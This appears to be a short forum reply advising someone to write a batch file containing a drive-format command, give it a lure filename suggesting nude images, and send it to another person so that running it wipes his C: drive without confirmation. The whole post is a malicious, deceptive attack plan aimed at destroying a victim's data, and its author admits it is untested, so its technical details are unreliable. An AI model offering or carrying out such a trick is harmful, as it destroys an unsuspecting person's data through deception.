Just make a batch file and send it to him.
You should put these commands in it
format c: /yes

Ones he runs it, the batch will format the damn thing. The /yes skips the confirmation.
haven't tested it but I assume it will work.
Name the file blondenaked.batch or something